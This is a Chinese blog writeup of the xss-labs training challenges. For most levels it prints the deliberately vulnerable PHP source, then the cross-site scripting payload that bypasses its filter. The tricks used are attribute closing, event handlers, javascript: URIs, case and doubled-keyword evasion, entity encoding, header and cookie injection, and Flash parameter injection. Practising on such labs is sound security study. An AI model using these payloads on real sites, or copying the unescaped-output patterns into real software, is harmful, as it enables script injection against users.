xss-labs学习记录

本文详细介绍了XSS漏洞的分类及其利用方式,包括反射型、存储型和DOM型XSS,并通过一系列的关卡展示了常见的过滤和绕过技术,如构造闭合、单引号和双引号闭合、JavaScript伪协议、编码绕过等。同时,探讨了如何利用HTTP头部信息(如referer、user-agent和cookie)进行注入攻击,并涉及了Flash XSS和Exif数据的利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


XSS: 漏洞原理详解
按照漏洞成因,可将XSS漏洞分为

  • 反射型 存储型 DOM型
  • 输出点分类。输出在HTML属性中:输出在CSS代码中:输出在JavaScript中

level1、无过滤

看源码

<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

无过滤get传参
构造弹窗

name=<script>alert('就这?')</script>
name=<a href="javascript:alert('test')">link</a>

level2、构造闭合

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

将第一关的载荷输入后,显示如下
在这里插入图片描述发现输入后在input的属性value值中,
构造闭合,将弹窗

keyword="> <script>alert('')</script>
keyword="> <a href=javascript:alert('')>link</a>

level3、单引号闭合+htmlspecialchars

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

看到源代码里使用了htmlspecialchars()函数将一些预定义的字符转换为HTML实体,预定义的字符是:

 & (和号)成为 &amp;
 " (双引号)成为 &quot;
 ' (单引号)成为 &#039
 < (小于)成为 &lt;
 > (大于)成为 &gt;

意味着再使用带有<>尖括号的标签会被转换为HTML实体,如下所示:

<h2 align=center>没有找到和'&gt; &lt;script&gt;alert('')&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value=''&gt; &lt;script&gt;alert('')&lt;/script&gt;'>	

所以可以使用事件标签
XSS 32个触发事件

' onmouseover=alert('就这?') '

level4、双引号闭合+htmlspecialchars

看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

和3一致,payload在于将单引号置换为双引号。

" onmouseleave=alert('就这?') "

level5、javascript伪协议

上码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>

阅读代码,发现对$str进行了两步过滤,最后拼接的是过滤后的$str3
使用伪协议

" > <a href=javascript:alert('就这?')>这是个链接</a> "

level6、javascript伪协议大小写绕过

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

过滤规则增多,但是仅限于对小写的字符串进行替换,所以根据规则将适当的部分改为大写即可
" > <a hrEf=javascript:alert('就这?')>这是个链接</a> "

level7、双写绕过

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

首先代码对输入的字符串进行了strtolower操作转换为小写,再进行相关字段的替换,替换为空
所以双写抵抗过滤
" > <a hrhrEfef=javascriscriptpt:alert('就这?')>这是个链接</a> "

level8、编码绕过

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

因为拼接的地方已经在<a>标签内所以直接构造编码后的载荷
javasc&#x72;&#x69;pt:alert('就这?')
要放到框子里输入

level9、检测

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
要在载荷中加入特定的检测字段,如本例中http://
javasc&#x72;&#x69;pt:alert('xsshttp://')

level10、hidden

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

隐藏标签
输入的字符串会真正有用的是t_sort(不看源码不知道)
只对<>进行了过滤,可以构造事件触发
t_sort=" type='text' onmouseover=alert('就这?') "

level11、referer

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

拼接的是str33,来自于str11是HTTP_REFERER中的信息,所以注入点在请求头部信息中的referer字段中
可以从hackbar中load URL后点击Referer获取字段消息
替换为如下
" type='text' onclick=alert('') "
再次 execute

level12、user-agent

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

寻找注入点在str11=$_SERVER['HTTP_USER_AGENT']
同上题在hackbar中选择user agent更换字段
" type='text' onclick=alert('') "

level13、cookie

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

本题注入点在cookie

" type='text' onclick=alert('') "发现不对,bp抓包看一下在cookie中有user=…
或者看提示
在这里插入图片描述Cookie user 缺少。。。。。

所以更改payload
user=" type='text' onclick=alert('') "

level14、exif

。。。学习下exif

level15、ng-include

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

1、ng-include 指令用于包含外部的 HTML文件。

2、包含的内容将作为指定元素的子节点。

3、ng-include 属性的值可以是一个表达式,返回一个文件名。

4、默认情况下,包含的文件需要包含在同一个域名下。

值得注意的是:

ng-include,如果单纯指定地址,必须要加引号

ng-include,加载外部html,script标签中的内容不执行

ng-include,加载外部html中含有style标签样式可以识别

所以payload可变为
'level1.php?name=<a href="javascript:alert(/xss/)">'
或者任意之前关卡漏洞地址

level16、&nbsp;

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

&nbsp;表示一个空格, 相继过滤掉script, ,/, ,后拼接
用回车替代空格

<a%0aonclick=alert('就这?')>

level17、传参

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

这不就是传参拼接么
arg01=%20onmouseover&arg02=alert(/xss/)

level18、同上

level19、flash xss反编译

version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

level20、flash xss反编译

arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值